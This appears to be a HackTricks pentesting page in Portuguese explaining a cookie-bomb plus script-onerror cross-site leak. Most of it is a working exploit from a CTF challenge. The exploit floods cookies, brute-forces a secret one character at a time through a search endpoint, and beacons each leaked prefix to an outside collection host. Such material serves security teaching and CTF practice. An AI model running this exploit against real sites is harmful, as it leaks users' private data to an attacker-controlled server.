hacktricks/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

2.0 KiB

Cookie Bomb + Onerror XS Leak

{{#include ../../banners/hacktricks-training.md}}

O seguinte script retirado de aqui está explorando uma funcionalidade que permite ao usuário inserir qualquer quantidade de cookies, e então carregar um arquivo como um script sabendo que a verdadeira resposta será maior do que a falsa e então. Se bem-sucedido, a resposta é um redirecionamento com uma URL resultante mais longa, muito grande para ser processada pelo servidor, então retorna um código de status http de erro. Se a busca falhar, nada acontecerá porque a URL é curta.

<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>

{{#include ../../banners/hacktricks-training.md}}